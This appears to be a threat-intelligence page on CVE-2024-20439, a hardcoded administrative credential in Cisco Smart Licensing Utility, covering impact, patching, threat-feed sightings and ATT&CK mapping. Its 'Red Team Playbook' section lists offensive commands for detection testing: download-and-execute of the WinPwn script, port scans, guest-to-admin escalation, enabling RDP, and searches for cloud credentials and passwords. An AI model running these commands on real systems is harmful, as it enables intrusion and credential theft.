CVE-2024-20439
Overview
This vulnerability is an authentication bypass caused by an undocumented static administrative credential embedded within the Cisco Smart Licensing Utility (CSLU). The root cause is the presence of a hardcoded user credential for an administrative account that is not documented or configurable. The affected component is the CSLU application API, which accepts authentication requests using these static credentials without proper validation or restriction.
Vulnerability Description
A vulnerability in Cisco Smart Licensing Utility (CSLU) could allow an unauthenticated, remote attacker to log into an affected system by using a static administrative credential. This vulnerability is due to an undocumented static user credential for an administrative account. An attacker could exploit this vulnerability by using the static credentials to login to the affected system. A successful exploit could allow the attacker to login to the affected system with administrative rights over the CSLU application API.
Impact
An attacker with network access to the CSLU API can authenticate without credentials and gain administrative privileges. This enables unauthorized control over the CSLU application, including access to sensitive licensing data and the ability to manipulate licensing operations. No user authentication or interaction is required, allowing remote compromise of the system's license management functions, which may lead to broader system compromise or disruption of license enforcement.
Solution
Cisco has released a security advisory addressing this issue for the Smart Licensing Utility. Users should apply the patches provided in the advisory available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw. The advisory includes updated versions that remove the static administrative credential. Administrators should follow the vendor's instructions to upgrade to the fixed software version immediately to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Cisco Smart Licensing Utility (CSLU) arises from the presence of an undocumented static user credential for an administrative account. This flaw allows unauthenticated remote attackers to gain access to the system by leveraging these static credentials. The administrative rights obtained through this exploit grant attackers extensive control over the CSLU application API, which is responsible for managing licensing for Cisco products. The root cause of this vulnerability lies in the failure to secure sensitive credentials, which should be dynamically generated or securely stored to prevent unauthorized access.
Attack vectors for this vulnerability are straightforward, as they primarily involve remote exploitation. An attacker with knowledge of the static administrative credential can initiate a login attempt to the affected system without needing any prior authentication. This ease of access poses a significant risk, as attackers could potentially execute a range of malicious activities, such as altering licensing configurations, accessing sensitive data, or even deploying further attacks within the network. Exploitation scenarios may include targeted attacks against organizations that rely heavily on Cisco's licensing services, where the attacker could manipulate licensing information to disrupt operations or gain unauthorized access to additional Cisco services.
The real-world impact of this vulnerability is substantial, particularly for organizations that utilize Cisco's Smart Licensing Utility. A successful exploit could lead to significant business risks, including operational disruptions, financial losses, and reputational damage. For instance, an attacker could modify licensing agreements, leading to compliance issues or service outages. Furthermore, the administrative access could be leveraged to pivot into other parts of the organization's network, potentially exposing sensitive data or critical infrastructure to further compromise. Given the high CVSS score of 9.8, the severity of this vulnerability necessitates immediate attention from affected organizations to mitigate potential fallout.
Detection and mitigation strategies for this vulnerability should focus on several key areas. Organizations must first ensure that they are aware of the presence of the static credential and take steps to disable or change it. Regular audits of access controls and user accounts can help identify unauthorized access attempts. Additionally, implementing network segmentation can limit the potential impact of an exploit by isolating critical systems from less secure environments. Organizations should also consider deploying intrusion detection systems (IDS) that can monitor for unusual login attempts or patterns indicative of exploitation. Finally, keeping the CSLU and associated systems updated with the latest security patches is crucial in reducing the attack surface and enhancing overall security posture.
In conclusion, the vulnerability within Cisco Smart Licensing Utility presents a significant threat to organizations utilizing this software. The combination of static administrative credentials and remote access capabilities creates a pathway for attackers to exploit the system, leading to potentially severe consequences. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a notable surge in detection activity related to CVE-2024-20439, reflecting increased adversary interest or scanning efforts targeting the Cisco Smart Licensing Utility vulnerability. This uptick in telemetry coincides with a measurable rise in the EPSS score, indicating a growing likelihood of exploitation attempts in the near term. Although no new exploit techniques or ransomware campaigns have been linked to this vulnerability, the observed escalation in unauthorized login attempts underscores the persistent risk posed by the static administrative credential flaw. For defenders, this trend signals an elevated threat environment where opportunistic attackers may intensify efforts to leverage this vulnerability for unauthorized access. Consequently, the risk level should be considered heightened, warranting increased vigilance in monitoring and detection despite the absence of novel exploit developments or confirmed ransomware activity.
Update 2 — July 08, 2026
CSURFACE threat intelligence has detected a slight increase in unauthorized login attempts exploiting the static administrative credential vulnerability in Cisco Smart Licensing Utility. While the overall exploit landscape remains unchanged with no new proof-of-concept exploits or ransomware campaigns identified, this modest uptick in telemetry indicates persistent adversary interest and opportunistic probing. The stability of the EPSS score alongside this trend suggests that exploitation attempts continue at a steady pace rather than accelerating rapidly. However, the continued presence of the Akira group in association with this vulnerability, albeit without confirmed ransomware linkage, underscores ongoing targeting by known threat actors. For defenders, this development signals the need to maintain heightened monitoring and response readiness, as the vulnerability remains a viable vector for unauthorized administrative access. Consequently, the threat level should be regarded as sustained at a high criticality, reflecting ongoing exploitation attempts without evidence of escalation or new attack techniques.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Smart License Utility | All |
cpe:2.3:a:cisco:smart_license_utility:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
14 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-191 | Read Sensitive Constants Within an Executable |
35%
|
— | Low | |
| CAPEC-70 | Try Common or Default Usernames and Passwords |
31%
|
Medium | High |
Red Team Playbook
36 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20439 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cslu-7gHMzWmw |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-20439 |